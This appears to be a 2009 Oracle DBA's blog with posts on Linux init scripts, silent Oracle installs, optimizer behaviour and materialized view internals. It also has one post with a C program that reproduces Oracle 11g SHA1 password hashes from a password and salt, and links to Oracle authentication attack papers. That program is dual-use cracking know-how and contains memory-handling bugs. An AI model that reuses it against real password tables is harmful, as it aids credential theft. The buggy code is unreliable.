Yaping's Weblog

April 13, 2009

Add Linux service manually

Filed under: Unix/Linux — Yaping @ 3:01 pm

Here I demo how to add commands to system service on Linux.

Assume I have one shell script named collectd, like the following:

———————————————-
#!/bin/sh
#
# Startup script for the collectd Server
#
# chkconfig: – 50 50
# description: collectd gathers statistics about the system it is running on and stores this information
# processname: collectd
# pidfile: /opt/collectd/var/run/collectd.pid
# config:  /opt/collectd/etc/collectd.conf
# command: /opt/collectd/sbin/collectd
CONFIG_FILE=/opt/collectd/etc/collectd.conf
PID_FILE=/opt/collectd/var/run/collectd.pid
CMD_FILE=/opt/collectd/sbin/collectd

case “$1” in
start)
# Starts the collectd deamon
echo “Starting collectd”
$CMD_FILE -C $CONFIG_FILE
;;

stop)
# stops the daemon bt cat’ing the pidfile
echo “stopping collectd”
kill -9 `cat $PID_FILE`
;;

restart)
## Stop the service regardless of whether it was
## running or not, start it again.
echo “Restarting collectd”
$0 stop
$0 start
;;

reload)
# reloads the config file by sending HUP
echo “Reloading config”
kill -HUP `cat $PID_FILE`
;;

*)
echo “Usage: collectd (start|stop|restart|reload)”
exit 1
;;

esac
—————————————————–

Then I copy this script to /etc/init.d/collectd and perform the below commands.

chkconfig –add collectd
chkconfig –level 2345 collectd on
service collectd start

Silently install Oracle database software to custom components

Filed under: Oracle — Yaping @ 2:40 pm

Sometimes we have to install Oracle software silently, and choose components as we need.

If so, we should specify parameters -silent and -responseFile when we run runInstaller command.

The value of -responseFile can be ../database/response/custom.rsp, there’re several important setting in custom.rsp.

custom.rsp:

#——————————————————————————

#Name : FROM_LOCATION

#Datatype : String

#Description: Complete path to the products.xml.

#Example : FROM_LOCATION = “../source/db/Disk1/stage/products.xml”

#——————————————————————————

FROM_LOCATION=”../database/stage/products.xml”

#——————————————————————————

#Name : INSTALL_TYPE

#Datatype : String

#Description: Installation type of the component.

#

# The following choices are available. The value should contain

# only one of these choices.

# EE : Enterprise Edition

# SE : Standard Edition

# Custom : Custom

#Example : INSTALL_TYPE = “Custom”

#——————————————————————————

INSTALL_TYPE=”Custom”

#——————————————————————————

#Name : oracle.server:DEPENDENCY_LIST

#Datatype : StringList

#Description: List of products that you would like to install.

#

# The following choices are available. You may specify any

# combination of these choices. The components you choose should

# be specified in the form “:”

# Below is a list of components you may specify to install.

#

# oracle.rdbms:11.1.0.6.0 – Oracle Database 11g

# oracle.options:11.1.0.6.0 – Enterprise Edition Options

# oracle.network:11.1.0.6.0 – Oracle Net Services

# oracle.sysman.console.db:11.1.0.5.0 – Database Control

# oracle.rdbms.oci:11.1.0.6.0 – Oracle Call Interface (OCI)

# oracle.precomp:11.1.0.6.0 – Oracle Programmer

# oracle.xdk:11.1.0.6.0 – Oracle XML Development Kit

# oracle.sqlplus.isqlplus:11.1.0.6.0 – iSQL*Plus

# oracle.odbc:11.1.0.6.0 – Oracle ODBC Driver

# oracle.sysman.ccr:10.2.6.0.0 – Oracle Configuration Manager

#

#Example : DEPENDENCY_LIST = {“oracle.rdbms:11.1.0.6.0”}

#——————————————————————————

oracle.server:DEPENDENCY_LIST={“oracle.rdbms:11.1.0.6.0″,”oracle.options:11.1.0.6.0″,”oracle.network:11.1.0.6.0″,”oracle.sysman.console.db:11.1.0.5.0″,”oracle.rdbms.oci:11.1.0.6.0″,”oracle.precomp:11.1.0.6.0″,”oracle.xdk:11.1.0.6.0″,”oracle.sqlplus.isqlplus:11.1.0.6.0″,”oracle.odbc:11.1.0.6.0″,”oracle.sysman.ccr:10.2.6.0.0”}

#——————————————————————————

#Name : oracle.options:DEPENDENCY_LIST

#Datatype : StringList

#Description: List of Enterprise Edition Options you would like to install.

#

# The following choices are available. You may specify any

 # combination of these choices. The components you choose should

# be specified in the form “:”

# Below is a list of components you may specify to install.

#

# oracle.network.aso:11.1.0.6.0 – Oracle Advanced Security

# oracle.rdbms.partitioning:11.1.0.6.0 – Oracle Partitioning

# oracle.sdo:11.1.0.6.0 – Oracle Spatial

# oracle.rdbms.lbac:11.1.0.6.0 – Oracle Label Security

# oracle.oraolap:11.1.0.6.0 – Oracle OLAP

# oracle.rdbms.dmse:11.1.0.6.0 – Oracle Data Mining Scoring Engine

#

#Example : DEPENDENCY_LIST = {“oracle.rdbms.partitioning:11.1.0.6.0”}

#——————————————————————————

oracle.options:DEPENDENCY_LIST={“oracle.network.aso:11.1.0.6.0″,”oracle.rdbms.partitioning:11.1.0.6.0″,”oracle.sdo:11.1.0.6.0″,”oracle.oraolap:11.1.0.6.0″,”oracle.rdbms.lbac:11.1.0.6.0″,”oracle.rdbms.dmse:11.1.0.6.0″,”oracle.rdbms.rat:11.1.0.6.0″,”oracle.rdbms.dm:11.1.0.6.0″,”oracle.rdbms.dv:11.1.0.6.0″}

Some server/options value don’t be listed on the above description part, but you can find them in the products.xml file, like the following, then we can use them to set the value of oracle.server/oracle.options:

products.xml:

<COMP NAME=”oracle.rdbms.rat” VER=”11.1.0.6.0″ BUILD_NUMBER=”0″ REP_VER=”0.0.0.0.0″ RELEASE=”Production” INV_LOC=”Components/oracle.rdbms.rat/11.1.0.6.0/1/” LANGS=”ALL_LANGS” STG_PLAT=”Linux” PLAT=”ALL_PLATFORMS”>
   <EXT_NAME>Oracle Real Application Testing</EXT_NAME>
   <DESCID>COMPONENT_DESC</DESCID>

<COMP NAME=”oracle.rdbms.dm” VER=”11.1.0.6.0″ BUILD_NUMBER=”0″ REP_VER=”0.0.0.0.0″ RELEASE=”Production” INV_LOC=”Components/oracle.rdbms.dm/11.1.0.6.0/1/” LANGS=”ALL_LANGS” STG_PLAT=”Linux” PLAT=”ALL_PLATFORMS”>
   <EXT_NAME>Oracle Data Mining RDBMS Files</EXT_NAME>

<COMP NAME=”oracle.rdbms.dv” VER=”11.1.0.6.0″ BUILD_NUMBER=”0″ REP_VER=”0.0.0.0.0″ RELEASE=”Production” INV_LOC=”Components/oracle.rdbms.dv/11.1.0.6.0/1/” LANGS=”ALL_LANGS” STG_PLAT=”Linux” PLAT=”ALL_PLATFORMS”>
   <EXT_NAME>Oracle Database Vault option</EXT_NAME>

January 9, 2009

Oracle password algorithm

Filed under: Oracle,Security — Yaping @ 5:11 am

Recently I read several Oracle security articles, they’re related to Oralce password algorithm.
In the article, it details how Oracle use DES algorithm in CBC mode to generate password hash value
and how Oracle process TNS native authentication.

You can find them with the following links.
DES-CBC
The next level of Oracle attacks (http://freeworld.thc.org/papers/thc-orakelsniffert.pdf)
TNS native authentication (http://www.oxid.it/topics.html)
Oracle 9i TNS 3DES authentication details
Oracle 10g TNS AES-128 authentication details
Oracle 11g TNS AES-192 authentication details

November 15, 2008

select count(id) from t where id is null

Filed under: Oracle — Yaping @ 2:04 am
Tags:

select count(id) from t where id is null;

How does Oracle handle query statement like it?
count(id) means add up row number which id is not null. First I think Oracle will parse
this statement, then return the result 0 immediately, not access table or index. Is it so?

I did the test on Oracle 9208 and 10203.
9208
test@CHEN>create table t (id number,a char(100));
Table created.

test@CHEN>insert into t select rownum,’A’ from dual connect by level<50000;
49999 rows created.

test@CHEN>analyze table t compute statistics;
Table analyzed.

test@CHEN>set autotrace on
test@CHEN>select count(id) from t where id is null;
 COUNT(ID)
———-
         0

Execution Plan
———————————————————-
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=75 Card=1 Bytes=4)
   1    0   SORT (AGGREGATE)
   2    1     TABLE ACCESS (FULL) OF ‘T’ (Cost=75 Card=1 Bytes=4)

Statistics
———————————————————-
          0  recursive calls
          0  db block gets
        772  consistent gets
          0  physical reads
          0  redo size
        406  bytes sent via SQL*Net to client
        499  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed
test@CHEN>create index idx_t_id on t(id);
Index created.

test@CHEN>analyze table t compute statistics;
Table analyzed.

test@CHEN>select count(id) from t where id is null;
 COUNT(ID)
———-
         0
Execution Plan
———————————————————-
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=75 Card=1 Bytes=4)
   1    0   SORT (AGGREGATE)
   2    1     TABLE ACCESS (FULL) OF ‘T’ (Cost=75 Card=1 Bytes=4)

Statistics
———————————————————-
          0  recursive calls
          0  db block gets
        772  consistent gets
          0  physical reads
          0  redo size
        406  bytes sent via SQL*Net to client
        499  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed
test@CHEN>alter table t modify id not null;
Table altered.

test@CHEN>select count(id) from t where id is null;
 COUNT(ID)
———-
         0

Execution Plan
———————————————————-
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=1 Card=1 Bytes=4)
   1    0   SORT (AGGREGATE)
   2    1     INDEX (RANGE SCAN) OF ‘IDX_T_ID’ (NON-UNIQUE) (Cost=1 Ca
          rd=1 Bytes=4)

Statistics
———————————————————-
          0  recursive calls
          0  db block gets
          2  consistent gets
          0  physical reads
          0  redo size
        406  bytes sent via SQL*Net to client
        499  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed

 
10203
test@TEST>create table t (id number,a char(100));
Table created.

test@TEST>insert into t select rownum,’A’ from dual connect by level<50000;
49999 rows created.

test@TEST>analyze table t compute statistics;
Table analyzed.

test@TEST>set autotrace on

test@TEST>select count(id) from t where id is null;
 COUNT(ID)
———-
         0

Execution Plan
———————————————————-
Plan hash value: 2966233522

—————————————————————————
| Id  | Operation          | Name | Rows  | Bytes | Cost (%CPU)| Time     |
—————————————————————————
|   0 | SELECT STATEMENT   |      |     1 |     4 |   196   (2)| 00:00:02 |
|   1 |  SORT AGGREGATE    |      |     1 |     4 |            |          |
|*  2 |   TABLE ACCESS FULL| T    |     1 |     4 |   196   (2)| 00:00:02 |
—————————————————————————

Predicate Information (identified by operation id):
—————————————————

   2 – filter(“ID” IS NULL)

Statistics
———————————————————-
          0  recursive calls
          0  db block gets
        772  consistent gets
          0  physical reads
          0  redo size
        411  bytes sent via SQL*Net to client
        399  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed
test@TEST>create index idx_t_id on t(id);
Index created.

test@TEST>select count(id) from t where id is null;
 COUNT(ID)
———-
         0

Execution Plan
———————————————————-
Plan hash value: 1700799834

——————————————————————————
| Id  | Operation         | Name     | Rows  | Bytes | Cost (%CPU)| Time     |
——————————————————————————
|   0 | SELECT STATEMENT  |          |     1 |     4 |     1   (0)| 00:00:01 |
|   1 |  SORT AGGREGATE   |          |     1 |     4 |            |          |
|*  2 |   INDEX RANGE SCAN| IDX_T_ID |     1 |     4 |     1   (0)| 00:00:01 |
——————————————————————————

Predicate Information (identified by operation id):
—————————————————

   2 – access(“ID” IS NULL)

Statistics
———————————————————-
          1  recursive calls
          0  db block gets
          2  consistent gets
          8  physical reads
          0  redo size
        411  bytes sent via SQL*Net to client
        399  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed
There’s some difference between 9208 and 10203 that if there’s index on id column, Oralce uses index range scan instead of full table access. It avoids scan table. We can also gain it on 9208 if the id column can be specified as not null.
test@TEST>select count(id) from t where id is not null;
 COUNT(ID)
———-
     49999

Execution Plan
———————————————————-
Plan hash value: 3570898368

———————————————————————————-
| Id  | Operation             | Name     | Rows  | Bytes | Cost (%CPU)| Time     |
———————————————————————————-
|   0 | SELECT STATEMENT      |          |     1 |     4 |    31   (7)| 00:00:01 |
|   1 |  SORT AGGREGATE       |          |     1 |     4 |            |          |
|*  2 |   INDEX FAST FULL SCAN| IDX_T_ID | 49999 |   195K|    31   (7)| 00:00:01 |
———————————————————————————-

Predicate Information (identified by operation id):
—————————————————

   2 – filter(“ID” IS NOT NULL)

Statistics
———————————————————-
          0  recursive calls
          0  db block gets
        117  consistent gets
          0  physical reads
          0  redo size
        414  bytes sent via SQL*Net to client
        399  bytes received via SQL*Net from client
          2  SQL*Net roundtrips to/from client
          0  sorts (memory)
          0  sorts (disk)
          1  rows processed
test@TEST>analyze index idx_t_id validate structure;
Index analyzed.

test@TEST>select HEIGHT,BLOCKS from index_stats;
    HEIGHT     BLOCKS
———- ———-
         2        112

October 23, 2008

orapw11g

Filed under: Oracle — Yaping @ 7:17 am
Tags: ,

I wrote  one C script to generate hash value for Oracle 11g sha1 algorithm.

@>alter user system identified by p1;
User altered.
 
@>select NAME,PASSWORD,SPARE4 from user$ where NAME=’SYSTEM’;
NAME                 PASSWORD                       SPARE4
——— ———————– ———————————————————————-
SYSTEM    2E1168309B5B9B7A        S:09043B9ABFA366DF41DD16DE6768FDC04C57EF1374E0B04DAC8616716074
 
 
[oracle@chen src]$ cat orapw11g.c
#include <openssl/sha.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SALT_LEN 10
#define HASH_LEN 20
 
/********************************************************
Function: Generate password hash value for Oracle 11g
Author: Yaping Chen
Email: yaping123@gmail.com
Revised: Yaping Chen, 2008/10
Comment: Compiled with gcc 3.2.3 on RHEL 4
*********************************************************/

main(int argc,char *argv[])
{
  char *md;
  char *pwd;
  char *data;
  char *saltraw;
  char *saltstr;
  int i,n;
  char *c1;
  char *c2;
  char *c5;
  char *c6;

  if (argc!=3) {
     printf(“Parameters invalid.\nUsage:\nargv[0] pwd salt(hex)\n\n”);
     return -1;
  }

  if (strlen((char *)argv[2]) != SALT_LEN * 2) {
     printf(“salt’s length error, it must be %d in hex\n”,SALT_LEN*2);
     return -1;
  }
 
  pwd=malloc(strlen((char *)argv[1]));
  saltraw=malloc(SALT_LEN * 2);
  saltstr=malloc(SALT_LEN);
  data=malloc(strlen((char *)argv[1]) + SALT_LEN);
  md=malloc(HASH_LEN);
  c1=malloc(2);
  c2=malloc(40);
  c5=malloc(8);
  c6=malloc(8);
 
  if (!pwd || !saltraw || !data || !md || !c1 || !c2 || !c5 || !c6) {
     perror(“malloc fail”);
     return -1;
  }
 
  pwd=argv[1];
  saltraw=argv[2];
  for(i=0;i<SALT_LEN;i++) {
     strncpy(c1,saltraw+i*2,2);
     sscanf(c1,”%X”,&n);
     saltstr[i]=(char)n;
  }
 
  memcpy(data,pwd,strlen((char*)pwd));
  memcpy(data+strlen((char*)pwd),saltstr,SALT_LEN);
  SHA1(data,strlen((char*)pwd) + SALT_LEN,md);
 
  printf(“pwd:%s,\tsaltraw:%s,\tsaltstr:%s,\tsha1 value:\n”,pwd,saltraw,saltstr);
  for(i=0;i<HASH_LEN;i++) {
     sprintf(c5,”%X”,md[i]);
     sprintf(c6,”%s”,c5);
     n=strlen(c6);
     if (n == 1) {
        c2[i*2]=’0′;
        c2[i*2 + 1]=c6[0];
     }
     else if (n == 2) {
        c2[i*2]=c6[0];
        c2[i*2 + 1]=c6[1];
     }
     else {
        c2[i*2]=c6[n-2];
        c2[i*2 + 1]=c6[n-1];
     }
  }
  printf(“%s\n\n”,c2);
  return 0;
}

[oracle@chen src]$ gcc orapw11g.c -lssl -o orapw11g
[oracle@chen src]$
[oracle@chen src]$
[oracle@chen src]$ ./orapw11g p1 74E0B04DAC8616716074
pwd:p1, saltraw:74E0B04DAC8616716074,   saltstr:tà°M??q`t,      sha1 value:
09043B9ABFA366DF41DD16DE6768FDC04C57EF13
[oracle@chen src]$

But this script has issue when password contains special symbols.

September 19, 2008

MATERIALIZED VIEW

Filed under: Oracle — Yaping @ 6:50 am
Tags:

Materialized view basic information

test@TEST>create table test.t1(id number,a char(1),b varchar2(1));
Table created.

test@TEST>create MATERIALIZED VIEW log on test.t1;
create MATERIALIZED VIEW log on test.t1
*
ERROR at line 1:
ORA-12014: table ‘T1′ does not contain a primary key constraint

test@TEST>alter table test.t1 add constraint t1_pk primary key(id);
Table altered.

test@TEST>create MATERIALIZED VIEW log on test.t1;
Materialized view log created.

test@TEST>desc MLOG$_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 ID                                                             NUMBER
 SNAPTIME$$                                                     DATE
 DMLTYPE$$                                                      VARCHAR2(1)
 OLD_NEW$$                                                      VARCHAR2(1)
 CHANGE_VECTOR$$                                                RAW(255)

test@TEST>desc RUPD$_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 ID                                                             NUMBER
 DMLTYPE$$                                                      VARCHAR2(1)
 SNAPID                                                         NUMBER(38)
 CHANGE_VECTOR$$                                                RAW(255)

test@TEST>insert into test.t1 values(1,’A’,’B’);
1 row created.

test@TEST>delete from test.t1;
1 row deleted.

test@TEST>select ID,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;
        ID D O
———- – –
         1 I N
         1 D O

test@TEST>select * from RUPD$_T1;
no rows selected

 
The default clause on create materialized view log is with primary key, so if no clause be specified, primary key on the base table must exist.
The definition of materialized view log (MLOG$_) depends on the specified clause.
Table RUPD$_ only exists when materialized view log uses primary key clause, it’s a special log for updatable snapshots, which would make sense in the context of 2 way replication.

 
test@TEST>drop  MATERIALIZED VIEW log on test.t1;
Materialized view log dropped.

test@TEST>create MATERIALIZED VIEW log on test.t1 with rowid, SEQUENCE;
Materialized view log created.

test@TEST>desc MLOG$_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 M_ROW$$                                                        VARCHAR2(255)
 SEQUENCE$$                                                     NUMBER
 SNAPTIME$$                                                     DATE
 DMLTYPE$$                                                      VARCHAR2(1)
 OLD_NEW$$                                                      VARCHAR2(1)
 CHANGE_VECTOR$$                                                RAW(255)

test@TEST>desc RUPD$_T1
ERROR:
ORA-04043: object RUPD$_T1 does not exist

test@TEST>create table test.t2(id number,a char(1), b varchar2(1));
Table created.

test@TEST>create MATERIALIZED VIEW log on test.t2 with rowid, SEQUENCE;
Materialized view log created.

test@TEST>insert into test.t1 values(2,’A’,’B’);
1 row created.

test@TEST>insert into test.t2 values(1,’A’,’B’);
1 row created.

test@TEST>update test.t1 set a=’C’ where id=2;
1 row updated.

test@TEST>select M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;
M_ROW$$              SEQUENCE$$ D O
——————– ———- – –
AAAOCJAAFAAAAAyAAB           23 I N
AAAOCJAAFAAAAAyAAB           25 U U
test@TEST>select M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T2;
M_ROW$$              SEQUENCE$$ D O
——————– ———- – –
AAAOCOAAFAAAAAiAAA           24 I N
The column SEQUENCE$$ on MLOG$_ records the base table’s changing sequence, all materialized view logs use the same sequence to generate the value. It help Oracle apply updates to materialized view logs in the correct order when a mix of DML commands, e.g. insert, update and delete, are performed on multiple base tables in a single transaction.

test@TEST>drop  MATERIALIZED VIEW log on test.t1;
Materialized view log dropped.

test@TEST>create MATERIALIZED VIEW log on test.t1 with PRIMARY KEY, rowid, SEQUENCE(a,b) including new values;
Materialized view log created.

test@TEST>desc MLOG$_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 ID                                                             NUMBER
 A                                                              CHAR(1)
 B                                                              VARCHAR2(1)
 M_ROW$$                                                        VARCHAR2(255)
 SEQUENCE$$                                                     NUMBER
 SNAPTIME$$                                                     DATE
 DMLTYPE$$                                                      VARCHAR2(1)
 OLD_NEW$$                                                      VARCHAR2(1)
 CHANGE_VECTOR$$                                                RAW(255)

test@TEST>desc RUPD$_T1
 Name                                                  Null?    Type
 —————————————————– ——– ————————————
 ID                                                             NUMBER
 DMLTYPE$$                                                      VARCHAR2(1)
 SNAPID                                                         NUMBER(38)
 CHANGE_VECTOR$$                                                RAW(255)

test@TEST>CREATE MATERIALIZED VIEW test.mv_t1 build immediate refresh force on demand
  2  as select * from test.t1;
Materialized view created.

test@TEST>select object_id,object_name,object_type from user_objects where OBJECT_TYPE not in (’PROCEDURE’,’FUNCTION’,’DATABASE LINK’);
 OBJECT_ID OBJECT_NAME                    OBJECT_TYPE
———- —————————— ——————-
     57482 T1_PK                          INDEX
     57505 RUPD$_T1                       TABLE
     57506 MV_T1                          TABLE
     57507 T1_PK1                         INDEX
     57508 MV_T1                          MATERIALIZED VIEW
     57504 MLOG$_T1                       TABLE
     57481 T1                             TABLE
7 rows selected.
After create materialized view, one materialized view, one table with the same name as materialized view, one index on the table are created automatically.
Materialized view refresh

test@TEST>insert into test.t1 values(1,’A’,’B’);
1 row created.

test@TEST>update test.t1 set a=’a’,b=’b’ where id=2;
1 row updated.

test@TEST>commit;
Commit complete.

test@TEST>insert into test.t1 values(3,’A’,’B’);
1 row created.

test@TEST>select ID,A,B,M_ROW$$,SEQUENCE$$,DMLTYPE$$,OLD_NEW$$ from MLOG$_T1;
        ID A B M_ROW$$              SEQUENCE$$ D O
———- – – ——————– ———- – –
         1 A B AAAOCJAAFAAAAAyAAC           26 I N
         2 C B AAAOCJAAFAAAAAyAAB           27 U O
         2 a b AAAOCJAAFAAAAAyAAB           28 U N
         3 A B AAAOCJAAFAAAAAyAAA           29 I N

test@TEST>alter session set events ‘10046 trace name context forever,level 12′;
Session altered.

test@TEST>exec dbms_mview.refresh(’MV_T1′,’F’);
PL/SQL procedure successfully completed.

test@TEST>select * from mv_t1;
        ID A B
———- – –
         2 a b
         1 A B
         3 A B

sys@TEST>select * from test.t1;
        ID A B
———- – –
         3 A B
         2 a b
         1 A B

PARSING IN CURSOR #5 len=45 dep=0 uid=66 oct=47 lid=66 tim=1177042417020396 hv=3981352777 ad=’288fbcc8′
BEGIN dbms_mview.refresh(’MV_T1′,’F’); END;
END OF STMT
PARSE #5:c=999,e=1439,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=1,tim=1177042417020386
BINDS #5:
=====================
PARSING IN CURSOR #10 len=11 dep=1 uid=0 oct=44 lid=0 tim=1177042417021593 hv=1180858989 ad=’0′
COMMIT WORK
END OF STMT
PARSE #10:c=0,e=126,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=0,tim=1177042417021584
XCTEND rlbk=0, rd_only=0
EXEC #10:c=3000,e=3190,p=0,cr=0,cu=1,mis=0,r=0,dep=1,og=0,tim=1177042417024940

PARSING IN CURSOR #23 len=241 dep=1 uid=66 oct=3 lid=66 tim=1177042417243005 hv=1545147654 ad=’289d935c’
SELECT DISTINCT LOG$.”ID” FROM (SELECT MLOG$.”ID” FROM “TEST”.”MLOG$_T1″ MLOG$ WHERE “SNAPTIME$$” > :1 AND (”DMLTYPE$$” != ‘I’)) LOG$ WHERE (LOG$.”ID”) NOT IN (SELECT MAS_TAB$.”ID” FROM “TEST”.”T1″ “MAS_TAB$” WHERE LOG$.”ID” = MAS_TAB$.”ID”)
END OF STMT
PARSE #23:c=1000,e=649,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=1,tim=1177042417243001

PARSING IN CURSOR #23 len=277 dep=1 uid=66 oct=3 lid=66 tim=1177042417256460 hv=354087628 ad=’27e4eba0′
SELECT CURRENT$.”ID”,CURRENT$.”A”,CURRENT$.”B” FROM (SELECT “T1″.”ID” “ID”,”T1″.”A” “A”,”T1″.”B” “B” FROM “TEST”.”T1″ “T1″) CURRENT$, (SELECT DISTINCT MLOG$.”ID” FROM “TEST”.”MLOG$_T1″ MLOG$ WHERE “SNAPTIME$$” > :1 AND (”DMLTYPE$$” != ‘D’)) LOG$ WHERE CURRENT$.”ID” = LOG$.”ID”
END OF STMT
PARSE #23:c=999,e=554,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=1,tim=1177042417256456

PARSING IN CURSOR #14 len=69 dep=2 uid=66 oct=6 lid=66 tim=1177042417280452 hv=1853616947 ad=’27d0c5f0′
UPDATE “TEST”.”MV_T1″ SET “ID” = :1,”A” = :2,”B” = :3 WHERE “ID” = :1
END OF STMT
PARSE #14:c=0,e=226,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417280445
BINDS #14:
kkscoacd
 Bind#0
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09
  value=1
 Bind#1
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09
  value=”A”
 Bind#2
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09
  value=”B”
 Bind#3
  No oacdef for this bind.
EXEC #14:c=3999,e=5391,p=0,cr=2,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417285916

PARSING IN CURSOR #22 len=60 dep=2 uid=66 oct=2 lid=66 tim=1177042417286092 hv=1178564284 ad=’27e1d10c’
INSERT INTO “TEST”.”MV_T1″  (”ID”,”A”,”B”) VALUES (:1,:2,:3)
END OF STMT
PARSE #22:c=0,e=130,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=1,tim=1177042417286087
BINDS #22:
kkscoacd
 Bind#0
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09
  value=1
 Bind#1
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09
  value=”A”
 Bind#2
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09
  value=”B”
EXEC #22:c=1000,e=678,p=0,cr=1,cu=8,mis=1,r=1,dep=2,og=1,tim=1177042417286879
EXEC #22:c=1000,e=678,p=0,cr=1,cu=8,mis=1,r=1,dep=2,og=1,tim=1177042417286879
BINDS #14:
kkscoacd
 Bind#0
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09
  value=2
 Bind#1
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09
  value=”a”
 Bind#2
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09
  value=”b”
 Bind#3
  No oacdef for this bind.
EXEC #14:c=0,e=313,p=0,cr=1,cu=3,mis=0,r=1,dep=2,og=1,tim=1177042417287291
BINDS #14:
kkscoacd
 Bind#0
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09
  value=3
 Bind#1
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09
  value=”A”
 Bind#2
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09
  value=”B”
 Bind#3
  No oacdef for this bind.
EXEC #14:c=1000,e=1185,p=0,cr=1,cu=0,mis=0,r=0,dep=2,og=1,tim=1177042417288518
BINDS #22:
kkscoacd
 Bind#0
  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=00 csi=00 siz=24 off=0
  kxsbbbfp=b70f5484  bln=22  avl=02  flg=09
  value=3
 Bind#1
  oacdty=96 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f549c  bln=32  avl=01  flg=09
  value=”A”
 Bind#2
  oacdty=01 mxl=32(01) mxlc=00 mal=00 scl=00 pre=00
  oacflg=13 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=b70f54a0  bln=32  avl=01  flg=09
  value=”B”
EXEC #22:c=0,e=180,p=0,cr=0,cu=3,mis=0,r=1,dep=2,og=1,tim=1177042417288728

PARSING IN CURSOR #14 len=52 dep=1 uid=0 oct=7 lid=0 tim=1177042417319986 hv=271018863 ad=’28993e00′
delete from “TEST”.”MLOG$_T1″ where snaptime$$ <= :1
END OF STMT
PARSE #14:c=999,e=1093,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=1177042417319982
BINDS #14:
kkscoacd
 Bind#0
  oacdty=12 mxl=07(07) mxlc=00 mal=00 scl=00 pre=00
  oacflg=18 fl2=0001 frm=00 csi=00 siz=8 off=0
  kxsbbbfp=bfff9cf0  bln=07  avl=07  flg=09
  value=”3/12/2008 11:10:35″
EXEC #14:c=1000,e=1636,p=0,cr=3,cu=4,mis=1,r=4,dep=1,og=4,tim=1177042417321698

 
Even though the MLOG$_ table contains the old and new values, the materialized view obtains the current value through access the base table.

 

Change base table’s definition

sys@TEST>exec DBMS_REDEFINITION.CAN_REDEF_TABLE(’TEST’,’T1′);
BEGIN DBMS_REDEFINITION.CAN_REDEF_TABLE(’TEST’,’T1′); END;
*
ERROR at line 1:
ORA-12091: cannot online redefine table “TEST”.”T1″ with materialized views
ORA-06512: at “SYS.DBMS_REDEFINITION”, line 137
ORA-06512: at “SYS.DBMS_REDEFINITION”, line 1478
